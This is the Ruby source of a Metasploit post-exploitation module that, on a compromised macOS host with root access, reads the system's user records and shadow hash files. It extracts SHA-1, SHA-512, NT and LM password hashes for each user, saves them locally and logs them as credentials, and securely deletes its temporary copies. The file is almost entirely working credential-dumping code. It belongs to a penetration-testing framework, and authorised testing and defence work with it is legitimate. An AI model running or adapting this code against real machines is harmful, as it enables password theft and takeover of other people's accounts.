metasploit-framework/modules/post/osx/gather/hashdump.rb

##
# $Id$
##

##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex'

require 'msf/core/post/common'
require 'msf/core/post/file'

class Metasploit3 < Msf::Post

	include Msf::Post::Common
	include Msf::Post::File
	include Msf::Auxiliary::Report

	def initialize(info={})
		super( update_info( info,
				'Name'          => 'OS X Gather Mac OS X Password Hash Collector',
				'Description'   => %q{
						This module dumps SHA-1, LM and NT Hashes of Mac OS X Tiger, Leopard, Snow Leopard and Lion Systems.
				},
				'License'       => MSF_LICENSE,
				'Author'        => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>','hammackj <jacob.hammack[at]hammackj.com>'],
				'Version'       => '$Revision$',
				'Platform'      => [ 'osx' ],
				'SessionTypes'  => [ "shell" ]
			))

	end

	# Run Method for when run command is issued
	def run
		case session.type
		when /meterpreter/
			host = session.sys.config.sysinfo["Computer"]
		when /shell/
			host = session.shell_command_token("hostname").chomp
		end
		print_status("Running module against #{host}")
		running_root = check_root
		if running_root
			print_status("This session is running as root!")
		end
		ver_num = get_ver
		log_folder = log_folder_create()
		if running_root
			print_status("Saving files with hashes in #{log_folder} and Database")
			dump_hash(log_folder,ver_num)
		else
			print_error("Insufficient Privileges you must be running as root to dump the hashes")
		end
	end

	#parse the dslocal plist in lion
	def read_ds_xml_plist(plist_content)

		require "rexml/document"

		doc  = REXML::Document.new(plist_content)
		keys = []

		doc.elements.each("plist/dict/key") do |element|
			keys << element.text
		end

		fields = {}
		i = 0
		doc.elements.each("plist/dict/array") do |element|
			data = []
			fields[keys[i]] = data
			element.each_element("*") do |thing|
				data_set = thing.text
				if data_set
					data << data_set.gsub("\n\t\t","")
				else
					data << data_set
				end
			end
			i+=1
		end
		return fields
	end

	# Function for creating the folder for gathered data
	def log_folder_create(log_path = nil)
		#Get hostname
		case session.type
		when /meterpreter/
			host = Rex::FileUtils.clean_path(session.sys.config.sysinfo["Computer"])
		when /shell/
			host = Rex::FileUtils.clean_path(session.shell_command_token("hostname").chomp)
		end

		# Create Filename info to be appended to downloaded files
		filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")

		# Create a directory for the logs
		if log_path
			logs = ::File.join(log_path, 'logs', "enum_osx", host + filenameinfo )
		else
			logs = ::File.join(Msf::Config.log_directory, "post", "enum_osx", host + filenameinfo )
		end

		# Create the log directory
		::FileUtils.mkdir_p(logs)
		return logs
	end

	# Checks if running as root on the target
	def check_root
		# Get only the account ID
		id = cmd_exec("/usr/bin/id","-ru").chomp

		if id == "0"
			return true
		else
			return false
		end
	end


	# Enumerate the OS Version
	def get_ver
		# Get the OS Version
		osx_ver_num = cmd_exec("/usr/bin/sw_vers", "-productVersion").chomp

		return osx_ver_num
	end

	# Dump SHA1 Hashes used by OSX, must be root to get the Hashes
	def dump_hash(log_folder,ver_num)
		print_status("Dumping Hashes")
		users = []
		nt_hash = nil
		host,port = session.tunnel_peer.split(':')

		# Path to files with hashes
		nt_file = ::File.join(log_folder,"nt_hash.txt")
		lm_file = ::File.join(log_folder,"lm_hash.txt")
		sha1_file = ::File.join(log_folder,"sha1_hash.txt")

		# Check if system is Lion if not continue
		if ver_num =~ /10\.(7)/

			hash_decoded = ""

			# get list of profiles present in the box
			profiles = cmd_exec("ls /private/var/db/dslocal/nodes/Default/users").split("\n")

			if profiles
				profiles.each do |p|
					# Skip none user profiles
					next if p =~ /^_/
					next if p =~ /^daemon|root|nobody/

					# Turn profile plist in to XML format
					cmd_exec("cp /private/var/db/dslocal/nodes/Default/users/#{p.chomp} /tmp/")
					cmd_exec("plutil -convert xml1 /tmp/#{p.chomp}")
					file = cmd_exec("cat /tmp/#{p.chomp}")

					# Clean up using secure delete overwriting and zeroing blocks
					cmd_exec("/usr/bin/srm -m -z /tmp/#{p.chomp}")

					# Process XML Plist into a usable hash
					plist_values = read_ds_xml_plist(file)

					# Extract the shadow hash data, decode it and format it
					plist_values['ShadowHashData'].join("").unpack('m')[0].each_byte do |b|
						hash_decoded << sprintf("%02X", b)
					end
					user = plist_values['name']

					# Check if NT HASH is present
					if hash_decoded =~ /4F1010/
						nt_hash = hash_decoded.scan(/^\w*4F1010(\w*)4F1044/)
					end

					# Carve out the SHA512 Hash, the first 4 bytes is the salt
					sha512 = hash_decoded.scan(/^\w*4F1044(\w*)(080B190|080D101E31)/)[0][0]

					print_status("SHA512:#{user}:#{sha512}")
					file_local_write(sha1_file,"#{user}:#{sha512}")
					report_auth_info(
						:host   => host,
						:port   => 0,
						:sname  => 'sha512',
						:user   => user,
						:pass   => sha512,
						:active => false
					)
					# Reset hash value
					sha512 = ""

					if nt_hash
						print_status("NT:#{user}:#{nt_hash}")
						file_local_write(nt_file,"#{user}:#{nt_hash}")
						report_auth_info(
							:host   => host,
							:port   => 445,
							:sname  => 'smb',
							:user   => user,
							:pass   => nt_hash,
							:active => true
						)

						# Reset hash value
						nt_hash = nil
					end
					# Reset hash value
					hash_decoded = ""
				end
			end

			# If system was lion and it was processed nothing more to do
			return
		end

		users_folder = cmd_exec("/bin/ls","/Users")

		users_folder.each_line do |u|
			next if u.chomp =~ /Shared|\.localized/
			users << u.chomp
		end
		# Process each user
		users.each do |user|
			if ver_num =~ /10\.(6|5)/
				guid = cmd_exec("/usr/bin/dscl", "localhost -read /Search/Users/#{user} | grep GeneratedUID | cut -c15-").chomp
			elsif ver_num =~ /10\.(4|3)/
				guid = cmd_exec("/usr/bin/niutil","-readprop . /users/#{user} generateduid").chomp
			end

			# Extract the hashes
			sha1_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid}  | cut -c169-216").chomp
			nt_hash   = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid}  | cut -c1-32").chomp
			lm_hash   = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid}  | cut -c33-64").chomp

			# Check that we have the hashes and save them
			if sha1_hash !~ /00000000000000000000000000000000/
				print_status("SHA1:#{user}:#{sha1_hash}")
				file_local_write(sha1_file,"#{user}:#{sha1_hash}")
				report_auth_info(
					:host   => host,
					:port   => 0,
					:sname  => 'sha1',
					:user   => user,
					:pass   => sha1_hash,
					:active => false
				)
			end

			if nt_hash !~ /000000000000000/
				print_status("NT:#{user}:#{nt_hash}")
				file_local_write(nt_file,"#{user}:#{nt_hash}")
				report_auth_info(
					:host   => host,
					:port   => 445,
					:sname  => 'smb',
					:user   => user,
					:pass   => nt_hash,
					:active => true
				)
			end
			if lm_hash !~ /0000000000000/
				print_status("LM:#{user}:#{lm_hash}")
				file_local_write(lm_file,"#{user}:#{lm_hash}")
				report_auth_info(
					:host   => host,
					:port   => 445,
					:sname  => 'smb',
					:user   => user,
					:pass   => lm_hash,
					:active => true
				)
			end
		end
	end
end